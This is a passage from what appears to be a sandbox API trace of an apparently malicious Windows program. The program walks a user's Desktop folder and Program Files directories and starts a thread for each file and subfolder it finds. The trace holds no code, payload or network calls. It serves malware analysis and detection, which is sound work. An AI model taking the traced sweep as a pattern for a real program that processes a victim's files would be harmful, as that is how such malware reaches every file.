cFileName="UP7a2boL2tYnMIv.png", cAlternateFileName="UP7A2B~1.PNG")) returned 1 [0049.501] wcscmp (_String1="UP7a2boL2tYnMIv.png", _String2=".") returned 1 [0049.502] wcscmp (_String1="UP7a2boL2tYnMIv.png", _String2="..") returned 1 [0049.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x4178f0 [0049.502] wcscpy (in: _Dest=0x4178f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.502] wcscat (in: _Dest=0x4178f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.502] wcscat (in: _Dest=0x4178f0, _Source="UP7a2boL2tYnMIv.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png" [0049.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4178f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa4 [0049.503] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c35d20, ftCreationTime.dwHighDateTime=0x1d4ca6e, ftLastAccessTime.dwLowDateTime=0x9b330650, ftLastAccessTime.dwHighDateTime=0x1d4d458, ftLastWriteTime.dwLowDateTime=0x9b330650, ftLastWriteTime.dwHighDateTime=0x1d4d458, nFileSizeHigh=0x0, nFileSizeLow=0x133c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="V9w18IpN.swf", cAlternateFileName="")) returned 1 [0049.503] wcscmp (_String1="V9w18IpN.swf", _String2=".") returned 1 [0049.503] wcscmp (_String1="V9w18IpN.swf", _String2="..") returned 1 [0049.503] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45ee38 [0049.503] wcscpy (in: _Dest=0x45ee38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.503] wcscat (in: _Dest=0x45ee38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.503] wcscat (in: _Dest=0x45ee38, _Source="V9w18IpN.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf" [0049.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45ee38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa8 [0049.504] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e264850, ftCreationTime.dwHighDateTime=0x1d4d44f, ftLastAccessTime.dwLowDateTime=0xf9406c80, ftLastAccessTime.dwHighDateTime=0x1d4c7f9, ftLastWriteTime.dwLowDateTime=0xf9406c80, ftLastWriteTime.dwHighDateTime=0x1d4c7f9, nFileSizeHigh=0x0, nFileSizeLow=0x430d, dwReserved0=0x0, dwReserved1=0x0, cFileName="wRax3wXScOWKwKsYie1.mp4", cAlternateFileName="WRAX3W~1.MP4")) returned 1 [0049.504] wcscmp (_String1="wRax3wXScOWKwKsYie1.mp4", _String2=".") returned 1 [0049.504] wcscmp (_String1="wRax3wXScOWKwKsYie1.mp4", _String2="..") returned 1 [0049.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x438650 [0049.504] wcscpy (in: _Dest=0x438650, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.504] wcscat (in: _Dest=0x438650, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.505] wcscat (in: _Dest=0x438650, _Source="wRax3wXScOWKwKsYie1.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4" [0049.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaac [0049.506] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x767380d0, ftCreationTime.dwHighDateTime=0x1d4cf88, ftLastAccessTime.dwLowDateTime=0xa88bcc70, ftLastAccessTime.dwHighDateTime=0x1d4d3c1, ftLastWriteTime.dwLowDateTime=0xa88bcc70, ftLastWriteTime.dwHighDateTime=0x1d4d3c1, nFileSizeHigh=0x0, nFileSizeLow=0x3883, dwReserved0=0x0, dwReserved1=0x0, cFileName="wTeVlKqR ch9b.mp4", cAlternateFileName="WTEVLK~1.MP4")) returned 1 [0049.506] wcscmp (_String1="wTeVlKqR ch9b.mp4", _String2=".") returned 1 [0049.506] wcscmp (_String1="wTeVlKqR ch9b.mp4", _String2="..") returned 1 [0049.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417980 [0049.506] wcscpy (in: _Dest=0x417980, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.506] wcscat (in: _Dest=0x417980, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.506] wcscat (in: _Dest=0x417980, _Source="wTeVlKqR ch9b.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4" [0049.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0 [0049.507] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9390c90, ftCreationTime.dwHighDateTime=0x1d4ce7b, ftLastAccessTime.dwLowDateTime=0x4684cc30, ftLastAccessTime.dwHighDateTime=0x1d4cd21, ftLastWriteTime.dwLowDateTime=0x4684cc30, ftLastWriteTime.dwHighDateTime=0x1d4cd21, nFileSizeHigh=0x0, nFileSizeLow=0x10224, dwReserved0=0x0, dwReserved1=0x0, cFileName="_esyWGtQVJ-2Mq2f.bmp", cAlternateFileName="_ESYWG~1.BMP")) returned 1 [0049.507] wcscmp (_String1="_esyWGtQVJ-2Mq2f.bmp", _String2=".") returned 1 [0049.507] wcscmp (_String1="_esyWGtQVJ-2Mq2f.bmp", _String2="..") returned 1 [0049.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417a10 [0049.507] wcscpy (in: _Dest=0x417a10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0049.507] wcscat (in: _Dest=0x417a10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0049.507] wcscat (in: _Dest=0x417a10, _Source="_esyWGtQVJ-2Mq2f.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp" [0049.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab4 [0049.508] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9390c90, ftCreationTime.dwHighDateTime=0x1d4ce7b, ftLastAccessTime.dwLowDateTime=0x4684cc30, ftLastAccessTime.dwHighDateTime=0x1d4cd21, ftLastWriteTime.dwLowDateTime=0x4684cc30, ftLastWriteTime.dwHighDateTime=0x1d4cd21, nFileSizeHigh=0x0, nFileSizeLow=0x10224, dwReserved0=0x0, dwReserved1=0x0, cFileName="_esyWGtQVJ-2Mq2f.bmp", cAlternateFileName="_ESYWG~1.BMP")) returned 0 [0049.508] FindClose (in: hFindFile=0x409ca8 | out: hFindFile=0x409ca8) returned 1 [0049.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4303a0) returned 1 [0049.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421348) returned 1 [0049.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445c40) returned 1 Thread: id = 449 os_tid = 0xdf4 [0049.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417230 [0049.212] wcscpy (in: _Dest=0x417230, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" [0049.212] wcscat (in: _Dest=0x417230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\" [0049.212] wcscat (in: _Dest=0x417230, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*" [0049.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430608 [0049.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a268 [0049.806] wcscmp (_String1=".", _String2=".") returned 0 [0049.806] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.806] wcscmp (_String1="..", _String2=".") returned 1 [0049.806] wcscmp (_String1="..", _String2="..") returned 0 [0049.806] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0049.806] wcscmp (_String1="License Agreements", _String2=".") returned 1 [0049.806] wcscmp (_String1="License Agreements", _String2="..") returned 1 [0049.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c350 [0049.806] wcscpy (in: _Dest=0x45c350, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" [0049.806] wcscat (in: _Dest=0x45c350, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\" [0049.807] wcscat (in: _Dest=0x45c350, _Source="License Agreements" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" [0051.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45c350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0051.391] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0051.391] FindClose (in: hFindFile=0x40a268 | out: hFindFile=0x40a268) returned 1 [0051.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430608) returned 1 [0051.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417230) returned 1 [0051.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4169c0) returned 1 Thread: id = 450 os_tid = 0xdf8 [0049.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447320 [0049.213] wcscpy (in: _Dest=0x447320, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0049.213] wcscat (in: _Dest=0x447320, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0049.213] wcscat (in: _Dest=0x447320, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*" [0049.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431478 [0049.213] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409e28 [0049.213] wcscmp (_String1=".", _String2=".") returned 0 [0049.213] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.214] wcscmp (_String1="..", _String2=".") returned 1 [0049.214] wcscmp (_String1="..", _String2="..") returned 0 [0049.214] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivateAssemblies", cAlternateFileName="PRIVAT~1")) returned 1 [0049.214] wcscmp (_String1="PrivateAssemblies", _String2=".") returned 1 [0049.214] wcscmp (_String1="PrivateAssemblies", _String2="..") returned 1 [0049.214] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x423f60 [0049.214] wcscpy (in: _Dest=0x423f60, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0049.214] wcscat (in: _Dest=0x423f60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0049.214] wcscat (in: _Dest=0x423f60, _Source="PrivateAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" [0049.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x423f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0049.628] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0049.628] wcscmp (_String1="PublicAssemblies", _String2=".") returned 1 [0049.628] wcscmp (_String1="PublicAssemblies", _String2="..") returned 1 [0049.628] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x4448c8 [0049.628] wcscpy (in: _Dest=0x4448c8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0049.628] wcscat (in: _Dest=0x4448c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0049.628] wcscat (in: _Dest=0x4448c8, _Source="PublicAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" [0049.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4448c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0049.630] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0049.630] wcscmp (_String1="VSTA", _String2=".") returned 1 [0049.630] wcscmp (_String1="VSTA", _String2="..") returned 1 [0049.630] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x416ae0 [0049.630] wcscpy (in: _Dest=0x416ae0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0049.630] wcscat (in: _Dest=0x416ae0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0049.630] wcscat (in: _Dest=0x416ae0, _Source="VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0049.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0049.631] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x431478 | out: lpFindFileData=0x431478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0049.631] FindClose (in: hFindFile=0x409e28 | out: hFindFile=0x409e28) returned 1 [0049.632] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431478) returned 1 [0049.632] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447320) returned 1 [0049.632] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4476d8) returned 1 Thread: id = 451 os_tid = 0xdfc [0049.214] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x4172c0 [0049.214] wcscpy (in: _Dest=0x4172c0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" [0049.214] wcscat (in: _Dest=0x4172c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\" [0049.214] wcscat (in: _Dest=0x4172c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*" [0049.214] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430fa8 [0049.214] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a2e8 [0049.807] wcscmp (_String1=".", _String2=".") returned 0 [0049.807] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.807] wcscmp (_String1="..", _String2=".") returned 1 [0049.807] wcscmp (_String1="..", _String2="..") returned 0 [0049.807] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 1 [0049.807] wcscmp (_String1="Debugger", _String2=".") returned 1 [0049.807] wcscmp (_String1="Debugger", _String2="..") returned 1 [0049.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4ee0b8 [0049.807] wcscpy (in: _Dest=0x4ee0b8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" [0049.807] wcscat (in: _Dest=0x4ee0b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\") 